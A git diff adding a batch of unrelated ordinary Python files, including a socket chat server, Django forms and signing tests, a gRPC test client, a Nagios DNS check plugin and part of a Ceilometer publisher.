0000000000000000000000000000000000000000..670642c8c664cdbf259533d3b275a27d7c053c63 --- /dev/null +++ b/pool/shard009/Python/0081407_taskexecutor.py @@ -0,0 +1,221 @@ +import json +import socket +import struct + +from codebase.common.member import Member +from codebase.common.message_format import MessageFormat +from codebase.common.room import Room +from codebase.server.db.models import User + + +class TaskExecutor: + """ + TaskExecutor takes care that send and forward + files/messages to the right people/groups. + """ + def __init__(self): + self.client_data = None + + def execute(self, data, client_data): + """ + The method takes care that the data to be forwarded to the parser, + processed and sent to carry out the necessary functionality + + @type data: dict + @param data: dictionary data to whom and what should be sent + @type client_data: dict + @param client_data: dictionary of customer data sender + """ + self.client_data = client_data + self.analyze_input(data) + + def analyze_input(self, data): + """ + Analyze the data sent from the socket + and by referring to the correct method for processing. + + @type data: dict + @param data: data for analysis + """ + try: + if 'room' in data: + getattr(self, data['room']['option']['action'])(data) + else: + getattr(self, data['to'])(data) + except AttributeError as attr_err: + # TODO REMOVE print(attr_err) + message = {"error": "AttributeError"} + message = TaskExecutor.encode_message(message) + self.client_data['request'].sendall(message) + # TODO: Send to Sentry + except socket.error: + message = {"error": "socket.error"} + message = TaskExecutor.encode_message(message) + self.client_data['request'].sendall(message) + + @staticmethod + def encode_message(message): + """ + Coded message to byte code + + @type message: dict + @param message: message + """ + message = bytes(json.dumps(message), 'utf-8') + message = struct.pack("i", len(message)) + message + return message + + def sendall(self, client, message): + if self.__ignore_sender_user(client): + client.request.sendall(message) + + def delete_user(self): + user = User() + delete_user = self.client_data['client'].username + user.set_logout(delete_user) + message = MessageFormat.delete_user_server(delete_user) + message = TaskExecutor.encode_message(message) + for member in self.client_data['members']: + self.sendall(member, message) + + def register_user(self, data): + user = User() + response = user.register_user(data) + message = MessageFormat.register_user_server(response) + message = TaskExecutor.encode_message(message) + self.client_data['request'].sendall(message) + + def login_user(self, data): + user = User() + response = user.login_user(data) + message = MessageFormat.login_user_server(response) + message = TaskExecutor.encode_message(message) + self.client_data['request'].sendall(message) + + def initialize(self, data): + """ + At the beginning of each user sends its public key to all the others + and wants accordingly and their public keys. + + @type data: dict + @param data: data which contains public key + """ + public_key = data['public_key'] + username = self.client_data['client'].username + self.client_data['client'].activated = True + data = {'username': username, 'public_key': public_key} + + message = MessageFormat.initialize_message_server(**data) + ask_public_key = MessageFormat.initialize_ask_message_server(**data) + + message = TaskExecutor.encode_message(message) + ask_public_key = TaskExecutor.encode_message(ask_public_key) + + for member in self.client_data['members']: + self.sendall(member, message) + self.sendall(member, ask_public_key) + + def initialize_ask_key(self, data): + members = self.client_data['members'] + member = Member.find_member(data['to_user'], members) + send_message = MessageFormat.initialize_message_server( + self.client_data['client'].username, + data['public_key'] + ) + message = TaskExecutor.encode_message(send_message) + member.request.sendall(message) + + def broadcast(self, data): + """ + The method takes care to send a message to all participants in the chat + + @type data: dict + @param data: dictionary containing the message that will be sent + to all participants in the chat. + """ + message = TaskExecutor.encode_message(data['message_settings']) + for member in self.client_data['members']: + self.sendall(member, message) + + def to_user(self, data): + """ + The method takes care to send a message to the particular user + in the chat + + @type data: dict + @param data: dictionary containing the message that will be sent + to the particular user. + """ + members = self.client_data['members'] + to_member = Member.find_member(data['to_user'], members) + message = TaskExecutor.encode_message(data['message_settings']) + to_member.request.sendall(message) + + # Rooms options + def __create_room(self, room_option, message): + """ + Method takes care that create room + + @type room_option: dict + @param room_option: meta data to create the room + @type message: bytes + @param message: the message which will be sent + """ + room = Room() + room.room_id = room_option['uid'] + room.members.append(self.client_data['client']) + self.client_data['rooms'][room_option['uid']] = room + self.client_data['client'].request.sendall(message) + + def create_room(self, data): + """ + Method takes care to create room if it does not exist + and to send the message to all participants in the room. + + @type data: dict + @param data: It contains data for the room + """ + room_option = data['room']['option'] + rooms = self.client_data['rooms'] + if Room.check_is_exist_room(room_option['uid'], rooms): + message = TaskExecutor.encode_message("exist room") + self.client_data['client'].request.sendall(message) + else: + message = TaskExecutor.encode_message("Yes") + self.__create_room(room_option, message) + + def add_member_to_room(self, data): + """ + Method takes care to add a member to a group + + @type data: dict + @param data: It contains data room + """ + room_option = data['room']['option'] + rooms = self.client_data['rooms'] + message = TaskExecutor.encode_message("True") + if Room.check_is_exist_room(room_option['uid'], rooms): + current_room = self.client_data['rooms'][room_option['uid']] + current_room.members.append(self.client_data['client']) + self.client_data['client'].request.sendall(message) + else: + self.__create_room(room_option, message) + + def to_room_message(self, data): + """ + Sends a message to an existing group + + @type data: dict + @param data: It contains data for the room and message + """ + room_option = data['room']['option'] + message = TaskExecutor.encode_message(data['message']) + current_room = self.client_data['rooms'][room_option['uid']] + for member in current_room.members: + member.request.sendall(message) + + def __ignore_sender_user(self, member): + if (member.request != self.client_data['request'] + or member.activated is False): + return True + return False diff --git a/pool/shard009/Python/0081408_insync-del-shortcut.py b/pool/shard009/Python/0081408_insync-del-shortcut.py new file mode 100644 index 0000000000000000000000000000000000000000..84a9e250bf1b77260d1b66664adba80c976938ba --- /dev/null +++ b/pool/shard009/Python/0081408_insync-del-shortcut.py @@ -0,0 +1,34 @@ +#!/usr/bin/python +# -*- coding: utf-8 -*- + +from __future__ import print_function, unicode_literals +import sys +import os + +sys.path.append(os.path.join(os.path.dirname(__file__), "..")) +import insync + + +def main(): + i = insync.client(os.path.expanduser('~/lib/insync.db')) + i.login() + d = i.desktop() + + for shortcut in d['shortcuts']: + print('------------------------------------') + print(' title:', shortcut['icon']['title']) + print(' type/id:', shortcut['objectType'], shortcut['id']) + if 'tagBalance' in shortcut: + print(' balance:', shortcut['tagBalance']) + + print() + + id_ = input('Enter shortcut ID: ') + + i.debug = True + i.del_shortcut(id_) + i.debug = False + i.logout() + +if __name__ == '__main__': + main() diff --git a/pool/shard009/Python/0081409_client.py b/pool/shard009/Python/0081409_client.py new file mode 100644 index 0000000000000000000000000000000000000000..b674a64f9d8583b9c5a435747c6f90ac0a6c98ff --- /dev/null +++ b/pool/shard009/Python/0081409_client.py @@ -0,0 +1,95 @@ +# Copyright 2015, Google Inc. +# All rights reserved. +# +# Redistribution and use in source and binary forms, with or without +# modification, are permitted provided that the following conditions are +# met: +# +# * Redistributions of source code must retain the above copyright +# notice, this list of conditions and the following disclaimer. +# * Redistributions in binary form must reproduce the above +# copyright notice, this list of conditions and the following disclaimer +# in the documentation and/or other materials provided with the +# distribution. +# * Neither the name of Google Inc. nor the names of its +# contributors may be used to endorse or promote products derived from +# this software without specific prior written permission. +# +# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +# A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +# OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +# LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +# DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +# THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +"""The Python implementation of the GRPC interoperability test client.""" + +import argparse + +from grpc.early_adopter import implementations + +from interop import methods +from interop import resources + +_ONE_DAY_IN_SECONDS = 60 * 60 * 24 + + +def _args(): + parser = argparse.ArgumentParser() + parser.add_argument( + '--server_host', help='the host to which to connect', type=str) + parser.add_argument( + '--server_host_override', + help='the server host to which to claim to connect', type=str) + parser.add_argument( + '--server_port', help='the port to which to connect', type=int) + parser.add_argument( + '--test_case', help='the test case to execute', type=str) + parser.add_argument( + '--use_tls', help='require a secure connection', dest='use_tls', + action='store_true') + parser.add_argument( + '--use_test_ca', help='replace platform root CAs with ca.pem', + action='store_true') + return parser.parse_args() + + +def _stub(args): + if args.use_tls: + if args.use_test_ca: + root_certificates = resources.test_root_certificates() + else: + root_certificates = resources.prod_root_certificates() + + stub = implementations.secure_stub( + methods.CLIENT_METHODS, args.server_host, args.server_port, + root_certificates, None, None, + server_host_override=args.server_host_override) + else: + stub = implementations.insecure_stub( + methods.CLIENT_METHODS, args.server_host, args.server_port) + return stub + + +def _test_case_from_arg(test_case_arg): + for test_case in methods.TestCase: + if test_case_arg == test_case.value: + return test_case + else: + raise ValueError('No test case "%s"!' % test_case_arg) + + +def _test_interoperability(): + args = _args() + stub = _stub(args) + test_case = _test_case_from_arg(args.test_case) + test_case.test_interoperability(stub) + + +if __name__ == '__main__': + _test_interoperability() diff --git a/pool/shard009/Python/0081411_cfapi.py b/pool/shard009/Python/0081411_cfapi.py new file mode 100644 index 0000000000000000000000000000000000000000..b93f30c9b87c98d43a1eb1326c70943731b86837 --- /dev/null +++ b/pool/shard009/Python/0081411_cfapi.py @@ -0,0 +1,74 @@ +#!/usr/bin/env python +# +# Copyright (c) 2015 Mirantis, Inc. +# +# Licensed under the Apache License, Version 2.0 (the "License"); you may +# not use this file except in compliance with the License. You may obtain +# a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT +# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the +# License for the specific language governing permissions and limitations +# under the License. + + +import os + +import eventlet + +if os.name == 'nt': + # eventlet monkey patching causes subprocess.Popen to fail on Windows + # when using pipes due to missing non blocking I/O support + eventlet.monkey_patch(os=False) +else: + eventlet.monkey_patch() + + +import sys + +from oslo_config import cfg +from oslo_log import log as logging +from oslo_service import service + +from murano.api.v1 import request_statistics +from murano.common import app_loader +from murano.common import cf_config as config +from murano.common import policy +from murano.common import wsgi + +CONF = cfg.CONF + + +# If ../murano/__init__.py exists, add ../ to Python search path, so that +# it will override what happens to be installed in /usr/(local/)lib/python... +root = os.path.join(os.path.abspath(__file__), os.pardir, os.pardir, os.pardir) +if os.path.exists(os.path.join(root, 'murano', '__init__.py')): + sys.path.insert(0, root) + + +def main(): + try: + config.parse_args() + logging.setup(CONF, 'murano-cfapi') + request_statistics.init_stats() + policy.init() + + launcher = service.ServiceLauncher(CONF) + + cfapp = app_loader.load_paste_app('cloudfoundry') + cfport, cfhost = (config.CONF.cfapi.bind_port, + config.CONF.cfapi.bind_host) + + launcher.launch_service(wsgi.Service(cfapp, cfport, cfhost)) + + launcher.wait() + except RuntimeError as e: + sys.stderr.write("ERROR: %s\n" % e) + sys.exit(1) + + +if __name__ == '__main__': + main() diff --git a/pool/shard009/Python/0081413_forms.py b/pool/shard009/Python/0081413_forms.py new file mode 100644 index 0000000000000000000000000000000000000000..ebf4887fd80fc310b965e979d56423173f69effc --- /dev/null +++ b/pool/shard009/Python/0081413_forms.py @@ -0,0 +1,197 @@ +# -*- coding: utf-8 -*- + +import logging +LOGGER = logging.getLogger(__name__) + +from django import forms + +from django.utils.translation import ugettext_lazy as _ + +from django.contrib.auth.models import User + +import django.contrib.auth.forms as django_auth_forms + +from django.core.validators import MinLengthValidator +from django.contrib.auth import password_validation + + +class NameForm(forms.Form): + + def __init__(self, *args, **kwargs): + super(NameForm, self).__init__(*args, **kwargs) + + first_name = forms.CharField( + label='First name', + max_length=100, + validators=[ + MinLengthValidator(2) + ], + required = False + ) + + last_name = forms.CharField( + label='Last name', + max_length=100, + validators=[ + MinLengthValidator(2) + ], + required = False + ) + + +class EmailForm(forms.Form): + + def __init__(self, *args, **kwargs): + super(EmailForm, self).__init__(*args, **kwargs) + + email = forms.EmailField( + label='Email', + max_length=100, + required = True + ) + + +class AddressForm(forms.Form): + + def __init__(self, *args, **kwargs): + super(AddressForm, self).__init__(*args, **kwargs) + + street_1 = forms.CharField( + label='Street (1)', + max_length=100, + required = False + ) + + street_2 = forms.CharField( + label='Street (2)', + max_length=100, + required = False + ) + + city = forms.CharField( + label='City', + max_length=100, + required = False + ) + + zipcode = forms.CharField( + label='Zip code', + max_length=100, + required = False + ) + + country = forms.CharField( + label='Country', + max_length=100, + required = False + ) + + +class SetPasswordForm(forms.Form): + + custom_set_password_form_err_msgs = { + 'password_mismatch': _("The two password fields didn't match."), + } + + def __init__(self, *args, **kwargs): + super(SetPasswordForm, self).__init__(*args, **kwargs) + + password1 = forms.CharField( + label=_('Password'), + widget=forms.PasswordInput, + required = True + ) + + password2 = forms.CharField( + label='Password (confirm)', + widget=forms.PasswordInput, + required = True + ) + + def clean_password2(self): + password1 = self.cleaned_data.get("password1") + password2 = self.cleaned_data.get("password2") + if password1 and password2 and password1 != password2: + raise forms.ValidationError( + self.custom_set_password_form_err_msgs['password_mismatch'] + ) + password_validation.validate_password(password2) + # used validators defined in settings.AUTH_PASSWORD_VALIDATORS + return password2 + + +class UserMinimalRegistrationForm(NameForm, EmailForm, SetPasswordForm): + + user_form_err_msgs = { + 'unselectable_username': _("This username already exists. Please try another one."), + 'unselectable_email': _("This email address is already used by another user. Please try another one."), + } + + def __init__(self, *args, **kwargs): + super(UserMinimalRegistrationForm, self).__init__(*args, **kwargs) + + username = forms.CharField( + label='Username', + max_length=100, + required = True, + validators=[ + MinLengthValidator(3) + ] + ) + + def clean_username(self): + username = self.cleaned_data.get("username") + if User.objects.filter(username=username).exists(): + raise forms.ValidationError(self.user_form_err_msgs['unselectable_username']) + return username + + + def clean_email(self): + email = self.cleaned_data.get('email') + username = self.cleaned_data.get('username') + if email and User.objects.filter(email=email).exclude(username=username).count(): + raise forms.ValidationError(self.user_form_err_msgs['unselectable_email']) + return email + + +class UserAccountEditionForm(NameForm, EmailForm, AddressForm): + + user_profile_edit_form_err_msgs = { + 'unselectable_email': _("This email address is already used by another user. Please try another one."), + } + + def __init__(self, user, *args, **kwargs): + self.user = user + super(UserAccountEditionForm, self).__init__(*args, **kwargs) + + def clean_email(self): + email = self.cleaned_data.get('email') + username = self.user.username + if email and User.objects.filter(email=email).exclude(username=username).count(): + raise forms.ValidationError(self.user_profile_edit_form_err_msgs['unselectable_email']) + return email + + +class CustomLoginForm(django_auth_forms.AuthenticationForm): + + def __init__(self, *args, **kwargs): + super(CustomLoginForm, self).__init__(*args, **kwargs) + + +class CustomPasswordChangeForm(django_auth_forms.PasswordChangeForm): + + def __init__(self, *args, **kwargs): + super(CustomPasswordChangeForm, self).__init__(*args, **kwargs) + self.fields['new_password2'].label = _("New password (confirm)") + + +class CustomPasswordResetForm(django_auth_forms.PasswordResetForm): + + def __init__(self, *args, **kwargs): + super(CustomPasswordResetForm, self).__init__(*args, **kwargs) + + +class CustomChangePasswordForm(django_auth_forms.SetPasswordForm): + + def __init__(self, *args, **kwargs): + super(CustomChangePasswordForm, self).__init__(*args, **kwargs) diff --git a/pool/shard009/Python/0081417_web.py b/pool/shard009/Python/0081417_web.py new file mode 100644 index 0000000000000000000000000000000000000000..cd854a1d6c5a23ddf09ff8a2c476e62e90b9e37a --- /dev/null +++ b/pool/shard009/Python/0081417_web.py @@ -0,0 +1,76 @@ +import sys +import logging + +from . import DaemonCommand +from ..web.core import make_app + +try: + from gunicorn.app.base import BaseApplication +except ImportError: + BaseApplication = object + + +class GunicornRunner(BaseApplication): + + def __init__(self, command): + self.__command = command + super(GunicornRunner, self).__init__(self) + + def load_config(self): + + self.cfg.set('bind', '0.0.0.0:%s' % self.__command.config['PORT']) + + def post_fork(server, worker): + self.__command.log.info('Post-fork cleanup.') + self.__command.cache.db.dispose() + + # Need to reset engine pools. + self.cfg.set('post_fork', post_fork) + + for k, v in self.__command.config.__dict__.iteritems(): + if k.startswith('GUNICORN_') and v is not None: + # This is a bit fragile. + if isinstance(v, basestring) and v.isdigit(): + v = int(v) + self.cfg.set(k[9:].lower(), v) + + def load(self): + return self.__command.load_app() + + +class WebCommand(DaemonCommand): + + args_sections = ['web', 'shotgun', 'core'] + + def __init__(self): + super(WebCommand, self).__init__() + self._app = None + + def load_app(self): + if self._app is None: + self._app = make_app(cache=self.cache, config=self.config) + return self._app + + def main(self, args): + + app = self.load_app() + port = app.config['PORT'] + + worker_class = self.config['GUNICORN_WORKER_CLASS'] + if worker_class: + + if BaseApplication is object: # on ImportError + self.log.error('could not import gunicorn; aborting') + exit(1) + + self.log.info('starting API proxy via Gunicorn %s on port %s' % (worker_class, port)) + GunicornRunner(self).run() + + # Fall back onto Flask. + else: + self.log.info('starting API proxy via Flask server on port %s' % port) + app.run(port=port) + + +def main(): + WebCommand()() diff --git a/pool/shard009/Python/0081418_tests.py b/pool/shard009/Python/0081418_tests.py new file mode 100644 index 0000000000000000000000000000000000000000..006151baf6e157d486f61af3d475b7bfff3b5f08 --- /dev/null +++ b/pool/shard009/Python/0081418_tests.py @@ -0,0 +1,131 @@ +from __future__ import unicode_literals + +import datetime + +from django.core import signing +from django.test import TestCase +from django.test.utils import freeze_time +from django.utils import six +from django.utils.encoding import force_str + + +class TestSigner(TestCase): + + def test_signature(self): + "signature() method should generate a signature" + signer = signing.Signer('predictable-secret') + signer2 = signing.Signer('predictable-secret2') + for s in ( + b'hello', + b'3098247:529:087:', + '\u2019'.encode('utf-8'), + ): + self.assertEqual( + signer.signature(s), + signing.base64_hmac(signer.salt + 'signer', s, + 'predictable-secret').decode() + ) + self.assertNotEqual(signer.signature(s), signer2.signature(s)) + + def test_signature_with_salt(self): + "signature(value, salt=...) should work" + signer = signing.Signer('predictable-secret', salt='extra-salt') + self.assertEqual( + signer.signature('hello'), + signing.base64_hmac('extra-salt' + 'signer', + 'hello', 'predictable-secret').decode() + ) + self.assertNotEqual( + signing.Signer('predictable-secret', salt='one').signature('hello'), + signing.Signer('predictable-secret', salt='two').signature('hello')) + + def test_sign_unsign(self): + "sign/unsign should be reversible" + signer = signing.Signer('predictable-secret') + examples = [ + 'q;wjmbk;wkmb', + '3098247529087', + '3098247:529:087:', + 'jkw osanteuh ,rcuh nthu aou oauh ,ud du', + '\u2019', + ] + if six.PY2: + examples.append(b'a byte string') + for example in examples: + signed = signer.sign(example) + self.assertIsInstance(signed, str) + self.assertNotEqual(force_str(example), signed) + self.assertEqual(example, signer.unsign(signed)) + + def unsign_detects_tampering(self): + "unsign should raise an exception if the value has been tampered with" + signer = signing.Signer('predictable-secret') + value = 'Another string' + signed_value = signer.sign(value) + transforms = ( + lambda s: s.upper(), + lambda s: s + 'a', + lambda s: 'a' + s[1:], + lambda s: s.replace(':', ''), + ) + self.assertEqual(value, signer.unsign(signed_value)) + for transform in transforms: + self.assertRaises( + signing.BadSignature, signer.unsign, transform(signed_value)) + + def test_dumps_loads(self): + "dumps and loads be reversible for any JSON serializable object" + objects = [ + ['a', 'list'], + 'a unicode string \u2019', + {'a': 'dictionary'}, + ] + if six.PY2: + objects.append(b'a byte string') + for o in objects: + self.assertNotEqual(o, signing.dumps(o)) + self.assertEqual(o, signing.loads(signing.dumps(o))) + self.assertNotEqual(o, signing.dumps(o, compress=True)) + self.assertEqual(o, signing.loads(signing.dumps(o, compress=True))) + + def test_decode_detects_tampering(self): + "loads should raise exception for tampered objects" + transforms = ( + lambda s: s.upper(), + lambda s: s + 'a', + lambda s: 'a' + s[1:], + lambda s: s.replace(':', ''), + ) + value = { + 'foo': 'bar', + 'baz': 1, + } + encoded = signing.dumps(value) + self.assertEqual(value, signing.loads(encoded)) + for transform in transforms: + self.assertRaises( + signing.BadSignature, signing.loads, transform(encoded)) + + def test_works_with_non_ascii_keys(self): + binary_key = b'\xe7' # Set some binary (non-ASCII key) + + s = signing.Signer(binary_key) + self.assertEqual('foo:6NB0fssLW5RQvZ3Y-MTerq2rX7w', s.sign('foo')) + + +class TestTimestampSigner(TestCase): + + def test_timestamp_signer(self): + value = 'hello' + with freeze_time(123456789): + signer = signing.TimestampSigner('predictable-key') + ts = signer.sign(value) + self.assertNotEqual(ts, + signing.Signer('predictable-key').sign(value)) + self.assertEqual(signer.unsign(ts), value) + + with freeze_time(123456800): + self.assertEqual(signer.unsign(ts, max_age=12), value) + # max_age parameter can also accept a datetime.timedelta object + self.assertEqual(signer.unsign(ts, max_age=datetime.timedelta(seconds=11)), value) + self.assertRaises(signing.SignatureExpired, signer.unsign, ts, max_age=10) diff --git a/pool/shard009/Python/0081421_config.py b/pool/shard009/Python/0081421_config.py new file mode 100644 index 0000000000000000000000000000000000000000..93a280caf018276246f048eb8b50af4b003a0433 --- /dev/null +++ b/pool/shard009/Python/0081421_config.py @@ -0,0 +1,74 @@ +# -*- coding: utf-8 -*- + +# config.py -- Config dialog +# +# Copyright (C) 2008 - B. Clausius +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2, or (at your option) +# any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + +# Parts from "Interactive Python-GTK Console" (stolen from epiphany's console.py) +# Copyright (C), 1998 James Henstridge +# Copyright (C), 2005 Adam Hooper +# Bits from gedit Python Console Plugin +# Copyrignt (C), 2005 Raphaël Slinckx + +import os +from gi.repository import Gio, Gtk, Gdk + +__all__ = ('PythonConsoleConfigWidget') + +class PythonConsoleConfigWidget(object): + + CONSOLE_KEY_BASE = 'org.gnome.gedit.plugins.pythonconsole' + CONSOLE_KEY_COMMAND_COLOR = 'command-color' + CONSOLE_KEY_ERROR_COLOR = 'error-color' + + def __init__(self, datadir): + object.__init__(self) + + self._ui_path = os.path.join(datadir, 'ui', 'config.ui') + self._settings = Gio.Settings.new(self.CONSOLE_KEY_BASE) + self._ui = Gtk.Builder() + + def configure_widget(self): + self._ui.add_objects_from_file(self._ui_path, ["grid"]) + + self.set_colorbutton_color(self._ui.get_object('colorbutton-command'), + self._settings.get_string(self.CONSOLE_KEY_COMMAND_COLOR)) + self.set_colorbutton_color(self._ui.get_object('colorbutton-error'), + self._settings.get_string(self.CONSOLE_KEY_ERROR_COLOR)) + + self._ui.connect_signals(self) + + widget = self._ui.get_object('grid') + + return widget + + @staticmethod + def set_colorbutton_color(colorbutton, value): + color = Gdk.color_parse(value) + + if color is not None: + colorbutton.set_color(color) + + def on_colorbutton_command_color_set(self, colorbutton): + self._settings.set_string(self.CONSOLE_KEY_COMMAND_COLOR, + colorbutton.get_color().to_string()) + + def on_colorbutton_error_color_set(self, colorbutton): + self._settings.set_string(self.CONSOLE_KEY_ERROR_COLOR, + colorbutton.get_color().to_string()) + +# ex:et:ts=4: diff --git a/pool/shard009/Python/0081423_MaxMin.py b/pool/shard009/Python/0081423_MaxMin.py new file mode 100644 index 0000000000000000000000000000000000000000..0ceee04654a9961913525c5906480a4268fefc54 --- /dev/null +++ b/pool/shard009/Python/0081423_MaxMin.py @@ -0,0 +1,40 @@ +""" +* Max Min (Python) +* HackerRank Algorithm Challenge +* https://www.hackerrank.com/challenges/angry-children +* +* michael@softwareontheshore.com +""" + +testA = '10 100 300 200 1000 20 30' +testA1 = 3 +testB = '1 2 3 4 10 20 30 40 100 200' +testB1 = 4 +testC = '10 20 30 100 101 102' +testC1 = 3 + +def findMaxMin(size, test): + case = test + case = map(int, case.split(' ')) + case = sorted(case) + length = len(case) + subarrays = [] + maxmin = None + + # create subgroups of length 'size' + for x in xrange(length): + sub = [case[x]] + for y in xrange(1, size): + if x + y < length: sub.append(case[x + y]) + + if len(sub) == size: subarrays.append(sub) + + for z in xrange(len(subarrays)): + operation = max(subarrays[z]) - min(subarrays[z]) + + if operation < maxmin or maxmin is None: maxmin = operation + + return maxmin + +result = findMaxMin(testC1, testC) +print result diff --git a/pool/shard009/Python/0081424_check_dns.py b/pool/shard009/Python/0081424_check_dns.py new file mode 100644 index 0000000000000000000000000000000000000000..9a611a99cdac067c5ef9770501e22dac2107a347 --- /dev/null +++ b/pool/shard009/Python/0081424_check_dns.py @@ -0,0 +1,63 @@ +# check_dns.py -- Returns OK if a hostname resolves to any ip address + +# check_dns plugin will need some system libraries for DNS lookup +from __future__ import absolute_import +from _socket import gaierror +import socket +import time + +# Import PluginHelper and some utility constants from the Plugins module +from pynag.Plugins import PluginHelper,ok,warning,critical,unknown + +# Create an instance of PluginHelper() +my_plugin = PluginHelper() + +# Our Plugin will need -H and -a attributes and we will use PluginHelpers wrapper around optparse for this: +my_plugin.parser.add_option('-H', help="Hostname or ip address", dest="hostname") +my_plugin.parser.add_option('-a', help="Expected Address", dest="address") + +# When parse_arguments is called some default options like --threshold and --no-longoutput are automatically added +my_plugin.parse_arguments() + + +# +# Here starts Plugin-specific logic +# + +# Get the hostname and expected address that was provided on the command-line +# address will be optional, but we will throw and error if hostname is not provided +hostname = my_plugin.options.hostname +address = my_plugin.options.address +if hostname is None: + my_plugin.parser.error('-H argument is required') + + +# Here comes the specific check logic +try: + start_time = time.time() + result = socket.gethostbyname( hostname ) # result will contain the ip address resolved + end_time = time.time() + + # If no address was specified with -a, then we return + # OK if hostname resolved to anything at all + if address is None or address == result: + my_plugin.status(ok) + my_plugin.add_summary("%s resolves to %s" % (hostname, result)) + else: + my_plugin.status(critical) + my_plugin.add_summary("%s resolves to %s but should resolve to %s" % (hostname,result,address)) + + # Add run_time metric, so we can also alert if lookup takes to long + run_time = end_time - start_time + my_plugin.add_metric('run_time', run_time) +except gaierror: + # If any exceptions happened in the code above, lets return a critical status + my_plugin.status(critical) + my_plugin.add_summary('Could not resolve host "%s"' % hostname ) + +# when check_all_metrics() is run, any metrics we have added with add_metric() will be processed against +# Thresholds (like --threshold). This part will allow our plugin users to alert on lookup_time +my_plugin.check_all_metrics() + +# Print status output and exit +my_plugin.exit() diff --git a/pool/shard009/Python/0081425_messaging.py b/pool/shard009/Python/0081425_messaging.py new file mode 100644 index 0000000000000000000000000000000000000000..a53e4b281e3fd5b623c425ee4f3285913edc3065 --- /dev/null +++ b/pool/shard009/Python/0081425_messaging.py @@ -0,0 +1,228 @@ +# +# Copyright 2012 New Dream Network, LLC (DreamHost) +# +# Licensed under the Apache License, Version 2.0 (the "License"); you may +# not use this file except in compliance with the License. You may obtain +# a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT +# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the +# License for the specific language governing permissions and limitations +# under the License. +"""Publish a sample using the preferred RPC mechanism. +""" + +import abc +import itertools +import operator + +from oslo_config import cfg +from oslo_log import log +import oslo_messaging +from oslo_utils import encodeutils +from oslo_utils import excutils +import six +import six.moves.urllib.parse as urlparse + +from ceilometer.i18n import _, _LE, _LI +from ceilometer import messaging +from ceilometer import publisher +from ceilometer.publisher import utils + + +LOG = log.getLogger(__name__) + +NOTIFIER_OPTS = [ + cfg.StrOpt('metering_topic', + default='metering', + help='The topic that ceilometer uses for metering ' + 'notifications.', + ), + cfg.StrOpt('event_topic', + default='event', + help='The topic that ceilometer uses for event ' + 'notifications.', + ), + cfg.StrOpt('telemetry_driver', + default='messagingv2', + help='The driver that ceilometer uses for metering ' + 'notifications.', + deprecated_name='metering_driver', + ) +] + +cfg.CONF.register_opts(NOTIFIER_OPTS, + group="publisher_notifier") +cfg.CONF.import_opt('host', 'ceilometer.service') + + +class DeliveryFailure(Exception): + def __init__(self, message=None, cause=None): + super(DeliveryFailure, self).__init__(message) + self.cause = cause + + +def raise_delivery_failure(exc): + excutils.raise_with_cause(DeliveryFailure, + encodeutils.exception_to_unicode(exc), + cause=exc) + + +@six.add_metaclass(abc.ABCMeta) +class MessagingPublisher(publisher.PublisherBase): + + def __init__(self, parsed_url): + options = urlparse.parse_qs(parsed_url.query) + # the value of options is a list of url param values + # only take care of the latest one if the option + # is provided more than once + self.per_meter_topic = bool(int( + options.get('per_meter_topic', [0])[-1])) + + self.policy = options.get('policy', ['default'])[-1] + self.max_queue_length = int(options.get( + 'max_queue_length', [1024])[-1]) + self.max_retry = 0 + + self.local_queue = [] + + if self.policy in ['default', 'queue', 'drop']: + LOG.info(_LI('Publishing policy set to %s'), self.policy) + else: + LOG.warning(_('Publishing policy is unknown (%s) force to ' + 'default'), self.policy) + self.policy = 'default' + + self.retry = 1 if self.policy in ['queue', 'drop'] else None + + def publish_samples(self, samples): + """Publish samples on RPC. + + :param samples: Samples from pipeline after transformation. + + """ + + meters = [ + utils.meter_message_from_counter( + sample, cfg.CONF.publisher.telemetry_secret) + for sample in samples + ] + topic = cfg.CONF.publisher_notifier.metering_topic + self.local_queue.append((topic, meters)) + + if self.per_meter_topic: + for meter_name, meter_list in itertools.groupby( + sorted(meters, key=operator.itemgetter('counter_name')), + operator.itemgetter('counter_name')): + meter_list = list(meter_list) + topic_name = topic + '.' + meter_name + LOG.debug('Publishing %(m)d samples on %(n)s', + {'m': len(meter_list), 'n': topic_name}) + self.local_queue.append((topic_name, meter_list)) + + self.flush() + + def flush(self): + # NOTE(sileht): + # this is why the self.local_queue is emptied before processing the + # queue and the remaining messages in the queue are added to + # self.local_queue after in case of another call having already added + # something in the self.local_queue + queue = self.local_queue + self.local_queue = [] + self.local_queue = (self._process_queue(queue, self.policy) + + self.local_queue) + if self.policy == 'queue': + self._check_queue_length() + + def _check_queue_length(self): + queue_length = len(self.local_queue) + if queue_length > self.max_queue_length > 0: + count = queue_length - self.max_queue_length + self.local_queue = self.local_queue[count:] + 